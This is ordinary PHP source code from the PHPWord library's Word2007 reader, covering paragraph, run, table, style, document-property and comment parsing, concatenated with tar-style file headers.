                        $formNodes[] = $node;
                        $partOfFormField = false;
                        // Process the form fields
                        $this->readFormField($xmlReader, $formNodes, $paragraph, $paragraphStyle, $formType);
                    } elseif ($partOfFormField) {
                        $formNodes[] = $node;
                    } else {
                        // normal runs
                        $this->readRun($xmlReader, $node, $paragraph, $docPart, $paragraphStyle);
                    }
                }
            }
        } elseif ($xmlReader->elementExists('w:r/w:instrText', $domNode)) {
            // PreserveText
            $ignoreText = false;
            $textContent = '';
            $fontStyle = $this->readFontStyle($xmlReader, $domNode);
            $nodes = $xmlReader->getElements('w:r', $domNode);
            foreach ($nodes as $node) {
                if ($xmlReader->elementExists('w:lastRenderedPageBreak', $node)) {
                    $parent->addPageBreak();
                }
                $instrText = $xmlReader->getValue('w:instrText', $node);
                if (null !== $instrText) {
                    $textContent .= '{' . $instrText . '}';
                } else {
                    if ($xmlReader->elementExists('w:fldChar', $node)) {
                        $fldCharType = $xmlReader->getAttribute('w:fldCharType', $node, 'w:fldChar');
                        if ('begin' == $fldCharType) {
                            $ignoreText = true;
                        } elseif ('end' == $fldCharType) {
                            $ignoreText = false;
                        }
                    }
                    if (false === $ignoreText) {
                        $textContent .= $xmlReader->getValue('w:t', $node);
                    }
                }
            }
            $parent->addPreserveText(htmlspecialchars($textContent, ENT_QUOTES, 'UTF-8'), $fontStyle, $paragraphStyle);

            return;
        }

        // Formula
        $xmlReader->registerNamespace('m', 'http://schemas.openxmlformats.org/officeDocument/2006/math');
        if ($xmlReader->elementExists('m:oMath', $domNode)) {
            $mathElement = $xmlReader->getElement('m:oMath', $domNode);
            $mathXML = $mathElement->ownerDocument->saveXML($mathElement);
            if (is_string($mathXML)) {
                $reader = new OfficeMathML();
                $math = $reader->read($mathXML);

                $parent->addFormula($math);
            }

            return;
        }

        // List item
        if ($xmlReader->elementExists('w:pPr/w:numPr', $domNode)) {
            $numId = $xmlReader->getAttribute('w:val', $domNode, 'w:pPr/w:numPr/w:numId');
            $levelId = $xmlReader->getAttribute('w:val', $domNode, 'w:pPr/w:numPr/w:ilvl');
            $nodes = $xmlReader->getElements('*', $domNode);

            $listItemRun = $parent->addListItemRun($levelId, "PHPWordList{$numId}", $paragraphStyle);

            foreach ($nodes as $node) {
                $this->readRun($xmlReader, $node, $listItemRun, $docPart, $paragraphStyle);
            }

            return;
        }

        // Heading or Title
        $headingDepth = $xmlReader->elementExists('w:pPr', $domNode) ? $this->getHeadingDepth($paragraphStyle) : null;
        if ($headingDepth !== null) {
            $textContent = null;
            $nodes = $xmlReader->getElements('w:r|w:hyperlink', $domNode);
            if ($nodes->length === 1) {
                $textContent = htmlspecialchars($xmlReader->getValue('w:t', $nodes->item(0)), ENT_QUOTES, 'UTF-8');
            } else {
                $textContent = new TextRun($paragraphStyle);
                foreach ($nodes as $node) {
                    $this->readRun($xmlReader, $node, $textContent, $docPart, $paragraphStyle);
                }
            }
            $parent->addTitle($textContent, $headingDepth);

            return;
        }

        // Text and TextRun
        $textRunContainers = $xmlReader->countElements('w:r|w:ins|w:del|w:hyperlink|w:smartTag|w:commentReference|w:commentRangeStart|w:commentRangeEnd', $domNode);
        if (0 === $textRunContainers) {
            $parent->addTextBreak(1, $paragraphStyle);
        } else {
            $nodes = $xmlReader->getElements('*', $domNode);
            $paragraph = $parent->addTextRun($paragraphStyle);
            foreach ($nodes as $node) {
                $this->readRun($xmlReader, $node, $paragraph, $docPart, $paragraphStyle);
            }
        }
    }

    /**
     * @param DOMElement[] $domNodes
     * @param AbstractContainer $parent
     * @param mixed $paragraphStyle
     * @param string $formType
     */
    private function readFormField(XMLReader $xmlReader, array $domNodes, $parent, $paragraphStyle, $formType): void
    {
        if (!in_array($formType, ['textinput', 'checkbox', 'dropdown'])) {
            return;
        }

        $formField = $parent->addFormField($formType, null, $paragraphStyle);
        $ffData = $xmlReader->getElement('w:fldChar/w:ffData', $domNodes[0]);

        foreach ($xmlReader->getElements('*', $ffData) as $node) {
            /** @var DOMElement $node */
            switch ($node->localName) {
                case 'name':
                    $formField->setName($node->getAttribute('w:val'));

                    break;
                case 'ddList':
                    $listEntries = [];
                    foreach ($xmlReader->getElements('*', $node) as $ddListNode) {
                        switch ($ddListNode->localName) {
                            case 'result':
                                $formField->setValue($xmlReader->getAttribute('w:val', $ddListNode));

                                break;
                            case 'default':
                                $formField->setDefault($xmlReader->getAttribute('w:val', $ddListNode));

                                break;
                            case 'listEntry':
                                $listEntries[] = $xmlReader->getAttribute('w:val', $ddListNode);

                                break;
                        }
                    }
                    $formField->setEntries($listEntries);
                    if (null !== $formField->getValue()) {
                        $formField->setText($listEntries[$formField->getValue()]);
                    }

                    break;
                case 'textInput':
                    foreach ($xmlReader->getElements('*', $node) as $ddListNode) {
                        switch ($ddListNode->localName) {
                            case 'default':
                                $formField->setDefault($xmlReader->getAttribute('w:val', $ddListNode));

                                break;
                            case 'format':
                            case 'maxLength':
                                break;
                        }
                    }

                    break;
                case 'checkBox':
                    foreach ($xmlReader->getElements('*', $node) as $ddListNode) {
                        switch ($ddListNode->localName) {
                            case 'default':
                                $formField->setDefault($xmlReader->getAttribute('w:val', $ddListNode));

                                break;
                            case 'checked':
                                $formField->setValue($xmlReader->getAttribute('w:val', $ddListNode));

                                break;
                            case 'size':
                            case 'sizeAuto':
                                break;
                        }
                    }

                    break;
            }
        }

        if ('textinput' == $formType) {
            $ignoreText = true;
            $textContent = '';
            foreach ($domNodes as $node) {
                if ($xmlReader->elementExists('w:fldChar', $node)) {
                    $fldCharType = $xmlReader->getAttribute('w:fldCharType', $node, 'w:fldChar');
                    if ('separate' == $fldCharType) {
                        $ignoreText = false;
                    } elseif ('end' == $fldCharType) {
                        $ignoreText = true;
                    }
                }

                if (false === $ignoreText) {
                    $textContent .= $xmlReader->getValue('w:t', $node);
                }
            }
            $formField->setValue(htmlspecialchars($textContent, ENT_QUOTES, 'UTF-8'));
            $formField->setText(htmlspecialchars($textContent, ENT_QUOTES, 'UTF-8'));
        }
    }

    /**
     * Returns the depth of the Heading, returns 0 for a Title.
     *
     * @return null|number
     */
    private function getHeadingDepth(?array $paragraphStyle = null)
    {
        if (is_array($paragraphStyle) && isset($paragraphStyle['styleName'])) {
            if ('Title' === $paragraphStyle['styleName']) {
                return 0;
            }

            $headingMatches = [];
            preg_match('/Heading(\d)/', $paragraphStyle['styleName'], $headingMatches);
            if (!empty($headingMatches)) {
                return $headingMatches[1];
            }
        }

        return null;
    }

    /**
     * Read w:r.
     *
     * @param \PhpOffice\PhpWord\Element\AbstractContainer $parent
     * @param string $docPart
     * @param mixed $paragraphStyle
     *
     * @todo Footnote paragraph style
     */
    protected function readRun(XMLReader $xmlReader, DOMElement $domNode, $parent, $docPart, $paragraphStyle = null): void
    {
        if (in_array($domNode->nodeName, ['w:ins', 'w:del', 'w:smartTag', 'w:hyperlink', 'w:commentReference'])) {
            $nodes = $xmlReader->getElements('*', $domNode);
            foreach ($nodes as $node) {
                $this->readRun($xmlReader, $node, $parent, $docPart, $paragraphStyle);
            }
        } elseif ($domNode->nodeName == 'w:r') {
            $fontStyle = $this->readFontStyle($xmlReader, $domNode);
            $nodes = $xmlReader->getElements('*', $domNode);
            foreach ($nodes as $node) {
                $this->readRunChild($xmlReader, $node, $parent, $docPart, $paragraphStyle, $fontStyle);
            }
        }

        if ($xmlReader->elementExists('.//*["commentReference"=local-name()]', $domNode)) {
            $node = iterator_to_array($xmlReader->getElements('.//*["commentReference"=local-name()]', $domNode))[0];
            $attributeIdentifier = $node->attributes->getNamedItem('id');
            if ($attributeIdentifier) {
                $id = $attributeIdentifier->nodeValue;

                $this->setCommentReference('start', $id, $parent->getElement($parent->countElements() - 1));
                $this->setCommentReference('end', $id, $parent->getElement($parent->countElements() - 1));
            }
        }
    }

    /**
     * Parses nodes under w:r.
     *
     * @param string $docPart
     * @param mixed $paragraphStyle
     * @param mixed $fontStyle
     */
    protected function readRunChild(XMLReader $xmlReader, DOMElement $node, AbstractContainer $parent, $docPart, $paragraphStyle = null, $fontStyle = null): void
    {
        $runParent = $node->parentNode->parentNode;
        if ($node->nodeName == 'w:footnoteReference') {
            // Footnote
            $wId = $xmlReader->getAttribute('w:id', $node);
            $footnote = $parent->addFootnote();
            $footnote->setRelationId($wId);
        } elseif ($node->nodeName == 'w:endnoteReference') {
            // Endnote
            $wId = $xmlReader->getAttribute('w:id', $node);
            $endnote = $parent->addEndnote();
            $endnote->setRelationId($wId);
        } elseif ($node->nodeName == 'w:pict') {
            // Image
            $rId = $xmlReader->getAttribute('r:id', $node, 'v:shape/v:imagedata');
            $target = $this->getMediaTarget($docPart, $rId);
            if ($this->hasImageLoading() && null !== $target) {
                if ('External' == $this->getTargetMode($docPart, $rId)) {
                    $imageSource = $target;
                } else {
                    $imageSource = "zip://{$this->docFile}#{$target}";
                }
                $parent->addImage($imageSource);
            }
        } elseif ($node->nodeName == 'w:drawing') {
            // Office 2011 Image
            $xmlReader->registerNamespace('wp', 'http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing');
            $xmlReader->registerNamespace('r', 'http://schemas.openxmlformats.org/officeDocument/2006/relationships');
            $xmlReader->registerNamespace('pic', 'http://schemas.openxmlformats.org/drawingml/2006/picture');
            $xmlReader->registerNamespace('a', 'http://schemas.openxmlformats.org/drawingml/2006/main');

            $name = $xmlReader->getAttribute('name', $node, 'wp:inline/a:graphic/a:graphicData/pic:pic/pic:nvPicPr/pic:cNvPr');
            $embedId = $xmlReader->getAttribute('r:embed', $node, 'wp:inline/a:graphic/a:graphicData/pic:pic/pic:blipFill/a:blip');
            if ($name === null && $embedId === null) { // some Converters puts images on a different path
                $name = $xmlReader->getAttribute('name', $node, 'wp:anchor/a:graphic/a:graphicData/pic:pic/pic:nvPicPr/pic:cNvPr');
                $embedId = $xmlReader->getAttribute('r:embed', $node, 'wp:anchor/a:graphic/a:graphicData/pic:pic/pic:blipFill/a:blip');
            }
            $target = $this->getMediaTarget($docPart, $embedId);
            if ($this->hasImageLoading() && null !== $target) {
                $imageSource = "zip://{$this->docFile}#{$target}";
                $parent->addImage($imageSource, null, false, $name);
            }
        } elseif ($node->nodeName == 'w:object') {
            // Object
            $rId = $xmlReader->getAttribute('r:id', $node, 'o:OLEObject');
            // $rIdIcon = $xmlReader->getAttribute('r:id', $domNode, 'w:object/v:shape/v:imagedata');
            $target = $this->getMediaTarget($docPart, $rId);
            if (null !== $target) {
                $textContent = "&lt;Object: {$target}>";
                $parent->addText($textContent, $fontStyle, $paragraphStyle);
            }
        } elseif ($node->nodeName == 'w:br') {
            $parent->addTextBreak();
        } elseif ($node->nodeName == 'w:tab') {
            $parent->addText("\t");
        } elseif ($node->nodeName == 'mc:AlternateContent') {
            if ($node->hasChildNodes()) {
                // Get fallback instead of mc:Choice to make sure it is compatible
                $fallbackElements = $node->getElementsByTagName('Fallback');

                if ($fallbackElements->length) {
                    $fallback = $fallbackElements->item(0);
                    // TextRun
                    $textContent = htmlspecialchars($fallback->nodeValue, ENT_QUOTES, 'UTF-8');

                    $parent->addText($textContent, $fontStyle, $paragraphStyle);
                }
            }
        } elseif ($node->nodeName == 'w:t' || $node->nodeName == 'w:delText') {
            // TextRun
            $textContent = htmlspecialchars($xmlReader->getValue('.', $node), ENT_QUOTES, 'UTF-8');

            if ($runParent->nodeName == 'w:hyperlink') {
                $rId = $xmlReader->getAttribute('r:id', $runParent);
                $target = $this->getMediaTarget($docPart, $rId);
                if (null !== $target) {
                    $parent->addLink($target, $textContent, $fontStyle, $paragraphStyle);
                } else {
                    $parent->addText($textContent, $fontStyle, $paragraphStyle);
                }
            } else {
                /** @var AbstractElement $element */
                $element = $parent->addText($textContent, $fontStyle, $paragraphStyle);
                if (in_array($runParent->nodeName, ['w:ins', 'w:del'])) {
                    $type = ($runParent->nodeName == 'w:del') ? TrackChange::DELETED : TrackChange::INSERTED;
                    $author = $runParent->getAttribute('w:author');
                    $date = DateTime::createFromFormat('Y-m-d\TH:i:s\Z', $runParent->getAttribute('w:date'));
                    $date = $date instanceof DateTime ? $date : null;
                    $element->setChangeInfo($type, $author, $date);
                }
            }
        } elseif ($node->nodeName == 'w:softHyphen') {
            $element = $parent->addText("\u{200c}", $fontStyle, $paragraphStyle);
        }
    }

    /**
     * Read w:tbl.
     *
     * @param mixed $parent
     * @param string $docPart
     */
    protected function readTable(XMLReader $xmlReader, DOMElement $domNode, $parent, $docPart = 'document'): void
    {
        // Table style
        $tblStyle = null;
        if ($xmlReader->elementExists('w:tblPr', $domNode)) {
            $tblStyle = $this->readTableStyle($xmlReader, $domNode);
        }

        /** @var \PhpOffice\PhpWord\Element\Table $table Type hint */
        $table = $parent->addTable($tblStyle);
        $tblNodes = $xmlReader->getElements('*', $domNode);
        foreach ($tblNodes as $tblNode) {
            if ('w:tblGrid' == $tblNode->nodeName) { // Column
                // @todo Do something with table columns
            } elseif ('w:tr' == $tblNode->nodeName) { // Row
                $rowHeight = $xmlReader->getAttribute('w:val', $tblNode, 'w:trPr/w:trHeight');
                $rowHRule = $xmlReader->getAttribute('w:hRule', $tblNode, 'w:trPr/w:trHeight');
                $rowHRule = $rowHRule == 'exact';
                $rowStyle = [
                    'tblHeader' => $xmlReader->elementExists('w:trPr/w:tblHeader', $tblNode),
                    'cantSplit' => $xmlReader->elementExists('w:trPr/w:cantSplit', $tblNode),
                    'exactHeight' => $rowHRule,
                ];

                $row = $table->addRow($rowHeight, $rowStyle);
                $rowNodes = $xmlReader->getElements('*', $tblNode);
                foreach ($rowNodes as $rowNode) {
                    if ('w:trPr' == $rowNode->nodeName) { // Row style
                        // @todo Do something with row style
                    } elseif ('w:tc' == $rowNode->nodeName) { // Cell
                        $cellWidth = $xmlReader->getAttribute('w:w', $rowNode, 'w:tcPr/w:tcW');
                        $cellStyle = null;
                        if ($xmlReader->elementExists('w:tcPr', $rowNode)) {
                            $cellStyle = $this->readCellStyle($xmlReader, $rowNode);
                        }

                        $cell = $row->addCell($cellWidth, $cellStyle);
                        $cellNodes = $xmlReader->getElements('*', $rowNode);
                        foreach ($cellNodes as $cellNode) {
                            if ('w:p' == $cellNode->nodeName) { // Paragraph
                                $this->readParagraph($xmlReader, $cellNode, $cell, $docPart);
                            } elseif ($cellNode->nodeName == 'w:tbl') { // Table
                                $this->readTable($xmlReader, $cellNode, $cell, $docPart);
                            }
                        }
                    }
                }
            }
        }
    }

    /**
     * Read w:pPr.
     *
     * @return null|array
     */
    protected function readParagraphStyle(XMLReader $xmlReader, DOMElement $domNode)
    {
        if (!$xmlReader->elementExists('w:pPr', $domNode)) {
            return null;
        }

        $styleNode = $xmlReader->getElement('w:pPr', $domNode);
        $styleDefs = [
            'styleName' => [self::READ_VALUE, ['w:pStyle', 'w:name']],
            'alignment' => [self::READ_VALUE, 'w:jc'],
            'basedOn' => [self::READ_VALUE, 'w:basedOn'],
            'next' => [self::READ_VALUE, 'w:next'],
            'indent' => [self::READ_VALUE, 'w:ind', 'w:left'],
            'hanging' => [self::READ_VALUE, 'w:ind', 'w:hanging'],
            'spaceAfter' => [self::READ_VALUE, 'w:spacing', 'w:after'],
            'spaceBefore' => [self::READ_VALUE, 'w:spacing', 'w:before'],
            'widowControl' => [self::READ_FALSE, 'w:widowControl'],
            'keepNext' => [self::READ_TRUE,  'w:keepNext'],
            'keepLines' => [self::READ_TRUE,  'w:keepLines'],
            'pageBreakBefore' => [self::READ_TRUE,  'w:pageBreakBefore'],
            'contextualSpacing' => [self::READ_TRUE,  'w:contextualSpacing'],
            'bidi' => [self::READ_TRUE,  'w:bidi'],
            'suppressAutoHyphens' => [self::READ_TRUE,  'w:suppressAutoHyphens'],
            'borderTopStyle' => [self::READ_VALUE, 'w:pBdr/w:top'],
            'borderTopColor' => [self::READ_VALUE, 'w:pBdr/w:top', 'w:color'],
            'borderTopSize' => [self::READ_VALUE, 'w:pBdr/w:top', 'w:sz'],
            'borderRightStyle' => [self::READ_VALUE, 'w:pBdr/w:right'],
            'borderRightColor' => [self::READ_VALUE, 'w:pBdr/w:right', 'w:color'],
            'borderRightSize' => [self::READ_VALUE, 'w:pBdr/w:right', 'w:sz'],
            'borderBottomStyle' => [self::READ_VALUE, 'w:pBdr/w:bottom'],
            'borderBottomColor' => [self::READ_VALUE, 'w:pBdr/w:bottom', 'w:color'],
            'borderBottomSize' => [self::READ_VALUE, 'w:pBdr/w:bottom', 'w:sz'],
            'borderLeftStyle' => [self::READ_VALUE, 'w:pBdr/w:left'],
            'borderLeftColor' => [self::READ_VALUE, 'w:pBdr/w:left', 'w:color'],
            'borderLeftSize' => [self::READ_VALUE, 'w:pBdr/w:left', 'w:sz'],
        ];

        return $this->readStyleDefs($xmlReader, $styleNode, $styleDefs);
    }

    /**
     * Read w:rPr.
     *
     * @return null|array
     */
    protected function readFontStyle(XMLReader $xmlReader, DOMElement $domNode)
    {
        if (null === $domNode) {
            return null;
        }
        // Hyperlink has an extra w:r child
        if ('w:hyperlink' == $domNode->nodeName) {
            $domNode = $xmlReader->getElement('w:r', $domNode);
        }
        if (!$xmlReader->elementExists('w:rPr', $domNode)) {
            return null;
        }

        $styleNode = $xmlReader->getElement('w:rPr', $domNode);
        $styleDefs = [
            'styleName' => [self::READ_VALUE, 'w:rStyle'],
            'name' => [self::READ_VALUE, 'w:rFonts', ['w:ascii', 'w:hAnsi', 'w:eastAsia', 'w:cs']],
            'hint' => [self::READ_VALUE, 'w:rFonts', 'w:hint'],
            'size' => [self::READ_SIZE,  ['w:sz', 'w:szCs']],
            'color' => [self::READ_VALUE, 'w:color'],
            'underline' => [self::READ_VALUE, 'w:u'],
            'bold' => [self::READ_TRUE,  'w:b'],
            'italic' => [self::READ_TRUE,  'w:i'],
            'strikethrough' => [self::READ_TRUE,  'w:strike'],
            'doubleStrikethrough' => [self::READ_TRUE,  'w:dstrike'],
            'smallCaps' => [self::READ_TRUE,  'w:smallCaps'],
            'allCaps' => [self::READ_TRUE,  'w:caps'],
            'superScript' => [self::READ_EQUAL, 'w:vertAlign', 'w:val', 'superscript'],
            'subScript' => [self::READ_EQUAL, 'w:vertAlign', 'w:val', 'subscript'],
            'fgColor' => [self::READ_VALUE, 'w:highlight'],
            'rtl' => [self::READ_TRUE,  'w:rtl'],
            'lang' => [self::READ_VALUE, 'w:lang'],
            'position' => [self::READ_VALUE, 'w:position'],
            'hidden' => [self::READ_TRUE,  'w:vanish'],
        ];

        return $this->readStyleDefs($xmlReader, $styleNode, $styleDefs);
    }

    /**
     * Read w:tblPr.
     *
     * @return null|array|string
     *
     * @todo Capture w:tblStylePr w:type="firstRow"
     */
    protected function readTableStyle(XMLReader $xmlReader, DOMElement $domNode)
    {
        $style = null;
        $margins = ['top', 'left', 'bottom', 'right'];
        $borders = array_merge($margins, ['insideH', 'insideV']);

        if ($xmlReader->elementExists('w:tblPr', $domNode)) {
            if ($xmlReader->elementExists('w:tblPr/w:tblStyle', $domNode)) {
                $style = $xmlReader->getAttribute('w:val', $domNode, 'w:tblPr/w:tblStyle');
            } else {
                $styleNode = $xmlReader->getElement('w:tblPr', $domNode);
                $styleDefs = [];
                foreach ($margins as $side) {
                    $ucfSide = ucfirst($side);
                    $styleDefs["cellMargin$ucfSide"] = [self::READ_VALUE, "w:tblCellMar/w:$side", 'w:w'];
                }
                foreach ($borders as $side) {
                    $ucfSide = ucfirst($side);
                    $styleDefs["border{$ucfSide}Size"] = [self::READ_VALUE, "w:tblBorders/w:$side", 'w:sz'];
                    $styleDefs["border{$ucfSide}Color"] = [self::READ_VALUE, "w:tblBorders/w:$side", 'w:color'];
                    $styleDefs["border{$ucfSide}Style"] = [self::READ_VALUE, "w:tblBorders/w:$side", 'w:val'];
                }
                $styleDefs['layout'] = [self::READ_VALUE, 'w:tblLayout', 'w:type'];
                $styleDefs['bidiVisual'] = [self::READ_TRUE, 'w:bidiVisual'];
                $styleDefs['cellSpacing'] = [self::READ_VALUE, 'w:tblCellSpacing', 'w:w'];
                $style = $this->readStyleDefs($xmlReader, $styleNode, $styleDefs);

                $tablePositionNode = $xmlReader->getElement('w:tblpPr', $styleNode);
                if ($tablePositionNode !== null) {
                    $style['position'] = $this->readTablePosition($xmlReader, $tablePositionNode);
                }

                $indentNode = $xmlReader->getElement('w:tblInd', $styleNode);
                if ($indentNode !== null) {
                    $style['indent'] = $this->readTableIndent($xmlReader, $indentNode);
                }
            }
        }

        return $style;
    }

    /**
     * Read w:tblpPr.
     *
     * @return array
     */
    private function readTablePosition(XMLReader $xmlReader, DOMElement $domNode)
    {
        $styleDefs = [
            'leftFromText' => [self::READ_VALUE, '.', 'w:leftFromText'],
            'rightFromText' => [self::READ_VALUE, '.', 'w:rightFromText'],
            'topFromText' => [self::READ_VALUE, '.', 'w:topFromText'],
            'bottomFromText' => [self::READ_VALUE, '.', 'w:bottomFromText'],
            'vertAnchor' => [self::READ_VALUE, '.', 'w:vertAnchor'],
            'horzAnchor' => [self::READ_VALUE, '.', 'w:horzAnchor'],
            'tblpXSpec' => [self::READ_VALUE, '.', 'w:tblpXSpec'],
            'tblpX' => [self::READ_VALUE, '.', 'w:tblpX'],
            'tblpYSpec' => [self::READ_VALUE, '.', 'w:tblpYSpec'],
            'tblpY' => [self::READ_VALUE, '.', 'w:tblpY'],
        ];

        return $this->readStyleDefs($xmlReader, $domNode, $styleDefs);
    }

    /**
     * Read w:tblInd.
     *
     * @return TblWidthComplexType
     */
    private function readTableIndent(XMLReader $xmlReader, DOMElement $domNode)
    {
        $styleDefs = [
            'value' => [self::READ_VALUE, '.', 'w:w'],
            'type' => [self::READ_VALUE, '.', 'w:type'],
        ];
        $styleDefs = $this->readStyleDefs($xmlReader, $domNode, $styleDefs);

        return new TblWidthComplexType((int) $styleDefs['value'], $styleDefs['type']);
    }

    /**
     * Read w:tcPr.
     *
     * @return null|array
     */
    private function readCellStyle(XMLReader $xmlReader, DOMElement $domNode)
    {
        $styleDefs = [
            'valign' => [self::READ_VALUE, 'w:vAlign'],
            'textDirection' => [self::READ_VALUE, 'w:textDirection'],
            'gridSpan' => [self::READ_VALUE, 'w:gridSpan'],
            'vMerge' => [self::READ_VALUE, 'w:vMerge', null, null, 'continue'],
            'bgColor' => [self::READ_VALUE, 'w:shd', 'w:fill'],
            'noWrap' => [self::READ_VALUE, 'w:noWrap', null, null, true],
        ];
        $style = null;

        if ($xmlReader->elementExists('w:tcPr', $domNode)) {
            $styleNode = $xmlReader->getElement('w:tcPr', $domNode);

            $borders = ['top', 'left', 'bottom', 'right'];
            foreach ($borders as $side) {
                $ucfSide = ucfirst($side);

                $styleDefs['border' . $ucfSide . 'Size'] = [self::READ_VALUE, 'w:tcBorders/w:' . $side, 'w:sz'];
                $styleDefs['border' . $ucfSide . 'Color'] = [self::READ_VALUE, 'w:tcBorders/w:' . $side, 'w:color'];
                $styleDefs['border' . $ucfSide . 'Style'] = [self::READ_VALUE, 'w:tcBorders/w:' . $side, 'w:val'];
            }

            $style = $this->readStyleDefs($xmlReader, $styleNode, $styleDefs);
        }

        return $style;
    }

    /**
     * Returns the first child element found.
     *
     * @param null|array|string $elements
     *
     * @return null|string
     */
    private function findPossibleElement(XMLReader $xmlReader, ?DOMElement $parentNode = null, $elements = null)
    {
        if (is_array($elements)) {
            //if element is an array, we take the first element that exists in the XML
            foreach ($elements as $possibleElement) {
                if ($xmlReader->elementExists($possibleElement, $parentNode)) {
                    return $possibleElement;
                }
            }
        } else {
            return $elements;
        }

        return null;
    }

    /**
     * Returns the first attribute found.
     *
     * @param array|string $attributes
     *
     * @return null|string
     */
    private function findPossibleAttribute(XMLReader $xmlReader, DOMElement $node, $attributes)
    {
        //if attribute is an array, we take the first attribute that exists in the XML
        if (is_array($attributes)) {
            foreach ($attributes as $possibleAttribute) {
                if ($xmlReader->getAttribute($possibleAttribute, $node)) {
                    return $possibleAttribute;
                }
            }

            return null;
        }

        return $attributes;
    }

    /**
     * Read style definition.
     *
     * @param array $styleDefs
     *
     * @ignoreScrutinizerPatch
     *
     * @return array
     */
    protected function readStyleDefs(XMLReader $xmlReader, ?DOMElement $parentNode = null, $styleDefs = [])
    {
        $styles = [];

        foreach ($styleDefs as $styleProp => $styleVal) {
            [$method, $element, $attribute, $expected, $default] = array_pad($styleVal, 5, null);

            $element = $this->findPossibleElement($xmlReader, $parentNode, $element);
            if ($element === null) {
                continue;
            }

            if ($xmlReader->elementExists($element, $parentNode)) {
                $node = $xmlReader->getElement($element, $parentNode);

                $attribute = $this->findPossibleAttribute($xmlReader, $node, $attribute);

                // Use w:val as default if no attribute assigned
                $attribute = ($attribute === null) ? 'w:val' : $attribute;
                $attributeValue = $xmlReader->getAttribute($attribute, $node) ?? $default;

                $styleValue = $this->readStyleDef($method, $attributeValue, $expected);
                if ($styleValue !== null) {
                    $styles[$styleProp] = $styleValue;
                }
            }
        }

        return $styles;
    }

    /**
     * Return style definition based on conversion method.
     *
     * @param string $method
     *
     * @ignoreScrutinizerPatch
     *
     * @param null|string $attributeValue
     * @param mixed $expected
     *
     * @return mixed
     */
    private function readStyleDef($method, $attributeValue, $expected)
    {
        $style = $attributeValue;

        if (self::READ_SIZE == $method) {
            $style = $attributeValue / 2;
        } elseif (self::READ_TRUE == $method) {
            $style = $this->isOn($attributeValue);
        } elseif (self::READ_FALSE == $method) {
            $style = !$this->isOn($attributeValue);
        } elseif (self::READ_EQUAL == $method) {
            $style = $attributeValue == $expected;
        }

        return $style;
    }

    /**
     * Parses the value of the on/off value, null is considered true as it means the w:val attribute was not present.
     *
     * @see http://www.datypic.com/sc/ooxml/t-w_ST_OnOff.html
     *
     * @param string $value
     *
     * @return bool
     */
    private function isOn($value = null)
    {
        return $value === null || $value === '1' || $value === 'true' || $value === 'on';
    }

    /**
     * Returns the target of image, object, or link as stored in ::readMainRels.
     *
     * @param string $docPart
     * @param string $rId
     *
     * @return null|string
     */
    private function getMediaTarget($docPart, $rId)
    {
        $target = null;

        if (isset($this->rels[$docPart], $this->rels[$docPart][$rId])) {
            $target = $this->rels[$docPart][$rId]['target'];
        }

        return $target;
    }

    /**
     * Returns the target mode.
     *
     * @param string $docPart
     * @param string $rId
     *
     * @return null|string
     */
    private function getTargetMode($docPart, $rId)
    {
        $mode = null;

        if (isset($this->rels[$docPart], $this->rels[$docPart][$rId])) {
            $mode = $this->rels[$docPart][$rId]['targetMode'];
        }

        return $mode;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Reader/Word2007/DocPropsCore.php000066600000004604151150442730021354 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Reader\Word2007;

use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Shared\XMLReader;

/**
 * Core properties reader.
 *
 * @since 0.10.0
 */
class DocPropsCore extends AbstractPart
{
    /**
     * Property mapping.
     *
     * @var array
     */
    protected $mapping = [
        'dc:creator' => 'setCreator',
        'dc:title' => 'setTitle',
        'dc:description' => 'setDescription',
        'dc:subject' => 'setSubject',
        'cp:keywords' => 'setKeywords',
        'cp:category' => 'setCategory',
        'cp:lastModifiedBy' => 'setLastModifiedBy',
        'dcterms:created' => 'setCreated',
        'dcterms:modified' => 'setModified',
    ];

    /**
     * Callback functions.
     *
     * @var array
     */
    protected $callbacks = ['dcterms:created' => 'strtotime', 'dcterms:modified' => 'strtotime'];

    /**
     * Read core/extended document properties.
     */
    public function read(PhpWord $phpWord): void
    {
        $xmlReader = new XMLReader();
        $xmlReader->getDomFromZip($this->docFile, $this->xmlFile);

        $docProps = $phpWord->getDocInfo();

        $nodes = $xmlReader->getElements('*');
        if ($nodes->length > 0) {
            foreach ($nodes as $node) {
                if (!isset($this->mapping[$node->nodeName])) {
                    continue;
                }
                $method = $this->mapping[$node->nodeName];
                $value = $node->nodeValue == '' ? null : $node->nodeValue;
                if (isset($this->callbacks[$node->nodeName])) {
                    $value = $this->callbacks[$node->nodeName]($value);
                }
                if (method_exists($docProps, $method)) {
                    $docProps->$method($value);
                }
            }
        }
    }
}
vendor/phpoffice/phpword/src/PhpWord/Reader/Word2007/Comments.php000066600000003074151150442730020577 0ustar00<?php

namespace PhpOffice\PhpWord\Reader\Word2007;

use DateTime;
use PhpOffice\PhpWord\Element\Comment;
use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Shared\XMLReader;

class Comments extends AbstractPart
{
    /**
     * Collection name comments.
     *
     * @var string
     */
    protected $collection = 'comments';

    /**
     * Read settings.xml.
     */
    public function read(PhpWord $phpWord): void
    {
        $xmlReader = new XMLReader();
        $xmlReader->getDomFromZip($this->docFile, $this->xmlFile);

        $comments = $phpWord->getComments();

        $nodes = $xmlReader->getElements('*');

        foreach ($nodes as $node) {
            $name = str_replace('w:', '', $node->nodeName);

            $author = $xmlReader->getAttribute('w:author', $node);
            $date = $xmlReader->getAttribute('w:date', $node);
            $initials = $xmlReader->getAttribute('w:initials', $node);

            $element = new Comment($author, new DateTime($date), $initials);

            $range = $this->getCommentReference($xmlReader->getAttribute('w:id', $node));
            if ($range['start']) {
                $range['start']->setCommentRangeStart($element);
            }
            if ($range['end']) {
                $range['end']->setCommentRangeEnd($element);
            }

            $pNodes = $xmlReader->getElements('w:p/w:r', $node);
            foreach ($pNodes as $pNode) {
                $this->readRun($xmlReader, $pNode, $element, $this->collection);
            }

            $phpWord->getComments()->addItem($element);
        }
    }
}
